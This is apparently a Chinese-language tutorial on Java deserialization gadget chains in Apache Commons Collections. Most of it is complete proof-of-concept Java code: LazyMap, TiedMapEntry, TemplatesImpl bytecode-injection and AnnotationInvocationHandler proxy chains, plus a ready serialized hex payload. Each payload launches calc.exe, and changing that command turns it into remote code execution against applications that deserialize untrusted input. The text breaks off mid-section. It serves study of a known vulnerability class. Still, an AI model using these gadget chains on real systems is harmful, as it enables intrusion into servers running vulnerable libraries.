java反序列化漏洞_CC链
Apache Commons Collections 是一个广泛应用于 Java 应用开发的库,它对 Java 的 Collection(集合)相关类对象进行了封装,提供了很多强大的数据结构类型和集合工具类。
Apache Commons Collections 库中的 transform 方法是一个非常实用的工具,可以将一个对象转换到另一个对象,CC链的一切都是基于transform 方法去触发的。
环境依赖
jdk 8u66 + commons-collections 3.1
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
原理
LazyMap
借助 LazyMap 的延迟加载机制(lazyMap.get)去加载构造的恶意Transformer 链从而触发代码执行。
-
LazyMap 的延迟加载机制
LazyMap存在一个方法
public static Map decorate(Map map, Factory factory)其作用是将一个map给装饰成LazyMap,当查找map时key不存在,则会自动调用factory创建对应的值
-
Transformer 链
Transformer链依赖于ChainedTransformer实现,大致逻辑如下:
public Object transform(Object object) { for (Transformer transformer : transformers) { object = transformer.transform(object); } return object; }第一个Transformer接收原始输入,最终返回最后一个Transformer的输出。
内置的Transformer实现包括以下几种(\org\apache\commons\collections\functors):
ConstantTransformer:返回固定常量,不依赖输入InvokerTransformer:通过反射调用方法ChainedTransformer:组合多个 Transformer
LazyMap的直接调用:
package org.example.CommonsCollections;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map<String, Object> innerMap = new HashMap<>();
Map<String, Object> lazyMap = LazyMap.decorate(innerMap, transformerChain);
lazyMap.get("test-key");
}
}
当执行到lazyMap.get(“test-key”)就会触发恶意transformerChain的调用从而执行任意代码
transformerChain的调用在LazyMap.get中的factory.transform(key):
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
compare
TransformingComparator的compare会在比较对象前使用this.transformer.transform做对象转换从而触发代码执行。
直接调用compare:
package org.example.CommonsCollections;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class CommonsCollections2 {
public static void main(String[] args){
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator comparator=new TransformingComparator(transformerChain);
comparator.compare(null,null);
}
}
当调用TransformingComparator的compare时触发:
public int compare(Object obj1, Object obj2) {
Object value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
在this.transformer.transform触发代码执行
TemplatesImpl
以下是借助TemplatesImpl加载恶意字节码触发命令执行的代码:
package org.example.CommonsCollections;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.example.tools.ReflectionUtils;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
public class TemplatesImpTest {
public static void main(String[] args) throws TransformerConfigurationException, CannotCompileException, IOException, NotFoundException {
TemplatesImpl templatesImp = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
// 直接创建一个全新的类,不需要依赖现有类
CtClass cc = pool.makeClass("EvilClass" + System.nanoTime());
// 设置要执行的命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
// 添加静态初始化块,并在其中插入命令
cc.makeClassInitializer().insertBefore(cmd);
// 设置父类(根据需要替换为实际需要的父类)
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 生成字节码
byte[] evilCode = cc.toBytecode();
// 转换为Base64
// String evilCodeBase64 = Base64.getEncoder().encodeToString(evilCode);
// System.out.println("生成的恶意类Base64编码: " + evilCodeBase64);
ReflectionUtils.setFieldValue(templatesImp, "_bytecodes", new byte[][]{evilCode});
ReflectionUtils.setFieldValue(templatesImp, "_name", "test");
ReflectionUtils.setFieldValue(templatesImp, "_tfactory", new TransformerFactoryImpl());
templatesImp.newTransformer();
}
}
触发命令执行是在:



因此尝试找到newTransformer的调用然后去构造链即可
transient
在 Java 中,当一个类实现了 Serializable 接口时,其对象可以被转换为字节流(序列化),以便存储到磁盘或通过网络传输,之后还能从字节流恢复为原来的对象(反序列化)。
而 transient 关键字的核心作用,就是阻止被修饰的成员变量参与序列化过程。
当一个类成员标记了 transient,但是重写了writeObject来处理该类成员,那么实际上还是完成了该类成员的序列化操作
动态代理
以下是一个动态代理的示例代码:
import java.io.IOException;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class test {
// 目标接口
interface UserService {
void save(String name);
}
// 目标对象(实现接口)
static class UserServiceImpl implements UserService {
@Override
public void save(String name) {
System.out.println("保存用户:" + name);
}
}
// 调用处理器
static class LogHandler implements InvocationHandler {
private Object target; // 目标对象
public LogHandler(Object target) {
this.target = target;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
// 前置增强:打印日志
System.out.println("方法调用前:" + method.getName());
// 调用目标对象的原始方法
Object result = method.invoke(target, args);
// 后置增强:打印日志
System.out.println("方法调用后:" + method.getName());
return result;
}
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
UserService target = new UserServiceImpl();
// 2. 创建调用处理器(关联目标对象)
InvocationHandler handler = new LogHandler(target);
// 3. 动态生成代理对象(实现 UserService 接口)
UserService proxy = (UserService) Proxy.newProxyInstance(
target.getClass().getClassLoader(), // 类加载器
target.getClass().getInterfaces(), // 目标对象实现的接口
handler // 调用处理器
);
// 4. 调用代理对象的方法(实际会转发到 invoke() 方法)
proxy.save("张三");
}
}
以上使用动态代理调用方法的链:
(UserService)proxy.save-->LogHandler.invoke-->UserServiceImpl.save
复现
LazyMap+TiedMapEntry
构造payload:
package org.example.CommonsCollections;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.example.tools.DeserializationTools;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map<String, Object> innerMap = new HashMap<>();
Map<String, Object> lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "test-key");
System.out.println(DeserializationTools.serializeToHex(entry));
}
}
触发:
package org.example.CommonsCollections;
import org.example.tools.DeserializationTools;
import java.io.IOException;
public class test {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Object obj = DeserializationTools.deserializeFromHex("aced0005737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740008746573742d6b65797372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00017870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001900000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e00197371007e00117571007e001600000002707571007e001600000000740006696e766f6b657571007e001900000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00167371007e0011757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e00190000000171007e001e737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878");
obj.hashCode();
}
}
要触发漏洞,那么TiedMapEntry需要直接或间接地调用LazyMap.get,比如TiedMapEntry中使用getValue调用了Map.get,这将间接调用LazyMap.get
这就可以得到几种可以利用的方法:
-
obj.hashCode(); -
obj.toString(); -
obj.equals(entry);其中entry必须是Map.Entry对象(或implements了Map.Entry的类对象如AbstractMap.SimpleEntry)且不能为空Map.Entry entry = new Map.Entry() { @Override public Object getKey() { return null; } @Override public Object getValue() { return null; } @Override public Object setValue(Object value) { return null; } }; AbstractMap.SimpleEntry entry = new AbstractMap.SimpleEntry<>("abc", 1);
但很多时候可能不会存在手动调用hashcode、toString和equal的情况,而TiedMapEntry没有重写readObject,不存在反序列化调用这些方法的可能,因此需要找到一些满足以下条件的类:
- 可以对TiedMapEntry进行包装
- 类支持序列化,且类中的成员变量所对应的类支持序列化(类不包括基本数据类型)
- 类重写了readObject且在其中会调用hashcode、toString和equal
由此可以找到一些类满足这些条件,比如hashmap类(继承了hashmap的类同样可以,如MultiHashMap)。
package org.example.CommonsCollections;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.example.tools.DeserializationTools;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, IOException, NoSuchFieldException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map<String, Object> innerMap = new HashMap<>();
Map<String, Object> lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "test-key");
//
Field field = entry.getClass().getDeclaredField("map");
field.setAccessible(true);
field.set(entry, new HashMap());
HashMap hashMap = new HashMap();
hashMap.put(entry, null);
field.set(entry, lazyMap);
String s = DeserializationTools.serializeToHex(hashMap);
System.out.println(s);
DeserializationTools.deserializeFromHex(s);
}
}
注意,需要借助临时修改entry的map字段,在完成put操作后再修改map为lazyMap,避免hashMap.put操作时触发hashcode从而无法得到payload
ConcurrentHashMap类:
package org.example.CommonsCollections;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.example.tools.DeserializationTools;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
public class CommonsCollections {
public static void main(String[] args) throws IllegalAccessException, ClassNotFoundException, IOException, NoSuchFieldException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map<String, Object> innerMap = new HashMap<>();
Map<String, Object> lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "test-key");
// 临时修改entry的map字段,在完成put操作后再修改map为lazyMap,避免put操作时触发hashcode从而无法得到payload
Field field = entry.getClass().getDeclaredField("map");
field.setAccessible(true);
field.set(entry, new ConcurrentHashMap());
ConcurrentHashMap concurrentHashMap = new ConcurrentHashMap();
concurrentHashMap.put(entry, "test");
field.set(entry, lazyMap);
String s = DeserializationTools.serializeToHex(concurrentHashMap);
System.out.println(s);
DeserializationTools.deserializeFromHex(s);
}
}
前面是以Rutime类+InvokerTransformer作为底座,但实际上还可以使用TemplateImpl+InvokerTransformer作为底座:
package org.example.CommonsCollections;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.example.tools.DeserializationTools;
import org.example.tools.ReflectionUtils;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections {
public static void main(String[] args) throws IllegalAccessException, ClassNotFoundException, IOException, NoSuchFieldException, CannotCompileException, NotFoundException {
TemplatesImpl templatesImp = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
// 直接创建一个全新的类,不需要依赖现有类
CtClass cc = pool.makeClass("EvilClass" + System.nanoTime());
// 设置要执行的命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
// 添加静态初始化块,并在其中插入命令
cc.makeClassInitializer().insertBefore(cmd);
// 设置父类(根据需要替换为实际需要的父类)
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 生成字节码
byte[] evilCode = cc.toBytecode();
// 转换为Base64
// String evilCodeBase64 = Base64.getEncoder().encodeToString(evilCode);
// System.out.println("生成的恶意类Base64编码: " + evilCodeBase64);
ReflectionUtils.setFieldValue(templatesImp, "_bytecodes", new byte[][]{evilCode});
ReflectionUtils.setFieldValue(templatesImp, "_name", "test");
ReflectionUtils.setFieldValue(templatesImp, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templatesImp),
new InvokerTransformer("newTransformer",null,null),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map<String, Object> innerMap = new HashMap<>();
Map<String, Object> lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "test-key");
//
Field field = entry.getClass().getDeclaredField("map");
field.setAccessible(true);
field.set(entry, new HashMap());
HashMap hashMap = new HashMap();
hashMap.put(entry, null);
field.set(entry, lazyMap);
String s = DeserializationTools.serializeToHex(hashMap);
System.out.println(s);
DeserializationTools.deserializeFromHex(s);
}
}
TemplateImpl+InstantiateTransformer作为底座:
package org.example.CommonsCollections;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.example.tools.DeserializationTools;
import org.example.tools.ReflectionUtils;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections {
public static void main(String[] args) throws IllegalAccessException, ClassNotFoundException, IOException, NoSuchFieldException, CannotCompileException, NotFoundException {
TemplatesImpl templatesImp = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
// 直接创建一个全新的类,不需要依赖现有类
CtClass cc = pool.makeClass("EvilClass" + System.nanoTime());
// 设置要执行的命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
// 添加静态初始化块,并在其中插入命令
cc.makeClassInitializer().insertBefore(cmd);
// 设置父类(根据需要替换为实际需要的父类)
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 生成字节码
byte[] evilCode = cc.toBytecode();
// 转换为Base64
// String evilCodeBase64 = Base64.getEncoder().encodeToString(evilCode);
// System.out.println("生成的恶意类Base64编码: " + evilCodeBase64);
ReflectionUtils.setFieldValue(templatesImp, "_bytecodes", new byte[][]{evilCode});
ReflectionUtils.setFieldValue(templatesImp, "_name", "test");
ReflectionUtils.setFieldValue(templatesImp, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImp})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map<String, Object> innerMap = new HashMap<>();
Map<String, Object> lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "test-key");
//
Field field = entry.getClass().getDeclaredField("map");
field.setAccessible(true);
field.set(entry, new HashMap());
HashMap hashMap = new HashMap();
hashMap.put(entry, null);
field.set(entry, lazyMap);
String s = DeserializationTools.serializeToHex(hashMap);
System.out.println(s);
DeserializationTools.deserializeFromHex(s);
}
}
TrAXFilter的构造函数中就调用了newTransformer,所以可以用TrAXFilter封装一下,根据这种思路,可以尝试使用TransformerFactoryImpl封装一下:
package org.example.CommonsCollections;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.example.tools.DeserializationTools;
import org.example.tools.ReflectionUtils;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections {
public static void main(String[] args) throws IllegalAccessException, ClassNotFoundException, IOException, NoSuchFieldException, CannotCompileException, NotFoundException {
TemplatesImpl templatesImp = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
// 直接创建一个全新的类,不需要依赖现有类
CtClass cc = pool.makeClass("EvilClass" + System.nanoTime());
// 设置要执行的命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
// 添加静态初始化块,并在其中插入命令
cc.makeClassInitializer().insertBefore(cmd);
// 设置父类(根据需要替换为实际需要的父类)
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 生成字节码
byte[] evilCode = cc.toBytecode();
// 转换为Base64
// String evilCodeBase64 = Base64.getEncoder().encodeToString(evilCode);
// System.out.println("生成的恶意类Base64编码: " + evilCodeBase64);
ReflectionUtils.setFieldValue(templatesImp, "_bytecodes", new byte[][]{evilCode});
ReflectionUtils.setFieldValue(templatesImp, "_name", "test");
ReflectionUtils.setFieldValue(templatesImp, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TransformerFactoryImpl.class),
new InstantiateTransformer(null, null),
new InvokerTransformer("newTransformerHandler",new Class[]{Templates.class},new Object[]{templatesImp}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map<String, Object> innerMap = new HashMap<>();
Map<String, Object> lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "test-key");
//
Field field = entry.getClass().getDeclaredField("map");
field.setAccessible(true);
field.set(entry, new HashMap());
HashMap hashMap = new HashMap();
hashMap.put(entry, null);
field.set(entry, lazyMap);
String s = DeserializationTools.serializeToHex(hashMap);
System.out.println(s);
DeserializationTools.deserializeFromHex(s);
}
}
基于LazyMap和TiedMapEntry的链还有很多,比如:
被调用链 #275(节点数:3) ---
java.lang.Object.equals(java.lang.Object.class:-1)
类特性:[重写readObject]org.apache.commons.collections.ReferenceMap
org.apache.commons.collections.ReferenceMap.put(java.lang.Object.class:546)
类特性:[重写readObject]org.apache.commons.collections.ReferenceMap
org.apache.commons.collections.ReferenceMap.readObject(org.apache.commons.collections.ReferenceMap.class:342)
被调用链 #2400(节点数:3) ---
java.lang.Object.equals(java.lang.Object.class:-1)
类特性:[支持克隆][支持序列化][重写readObject]org.apache.commons.collections.map.Flat3Map
org.apache.commons.collections.map.Flat3Map.put(java.lang.Object.class:292)
类特性:[支持克隆][支持序列化][重写readObject]org.apache.commons.collections.map.Flat3Map
org.apache.commons.collections.map.Flat3Map.readObject(org.apache.commons.collections.map.Flat3Map.class:996)
poc都类似:
package org.example.CommonsCollections;
import org.apache.commons.collections.MapIterator;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.*;
import org.example.tools.DeserializationTools;
import javax.swing.*;
import java.awt.event.ActionEvent;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import static org.example.tools.DeserializationTools.bytesToHex;
import static org.example.tools.ReflectionUtils.setFieldValue;
public class CommonsCollections {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, IOException, NoSuchFieldException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map<String, Object> innerMap = new HashMap<>();
Map<String, Object> lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "test-key");
Field field = entry.getClass().getDeclaredField("map");
field.setAccessible(true);
field.set(entry, new Flat3Map());
Flat3Map refMap = new Flat3Map();
refMap.put(entry, 1);
field.set(entry, lazyMap);
String s = DeserializationTools.serializeToHex(refMap);
System.out.println(s);
DeserializationTools.deserializeFromHex(s);
}
}
LazyMap+AnnotationInvocationHandler动态代理
此处基于AnnotationInvocationHandler和动态代理完成LazyMap.get的间接调用。
直接调用proxy:
package org.example.CommonsCollections;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map<String, Object> innerMap = new HashMap<>();
Map<String, Object> lazyMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
proxyMap.entrySet();
}
}
AnnotationInvocationHandler接收两个入参,分别是注解类型和一个存储注解成员值的 Map,其中lazyMap会被赋值给成员memberValues
当调用entrySet时,会触发AnnotationInvocationHandler中的invoke进而触发this.memberValues.get,从而触发lazyMap.get

然后在AnnotationInvocationHandler中的readObject中可以发现调用了.entrySet,让memberValues=proxyMap即可:

因此可以直接构造一个AnnotationInvocationHandler序列化对象:
package org.example.CommonsCollections;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.example.tools.DeserializationTools;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
//import sun.reflect.annotation.AnnotationParser;
public class CommonsCollections {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map<String, Object> innerMap = new HashMap<>();
Map<String, Object> lazyMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
String s = DeserializationTools.serializeToHex((Serializable) handler);
System.out.println(s);
DeserializationTools.deserializeFromHex(s);
}
}
compare+PriorityQueue
TransformingComparator在3.1版本中并不支持序列化,但是在4.0版本支持序列化,因此切换依赖:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
用静态扫描找到了几条链,然后只有以下这条可以用,其他的都无法污染compator:
被调用链 #997(节点数:5) ---
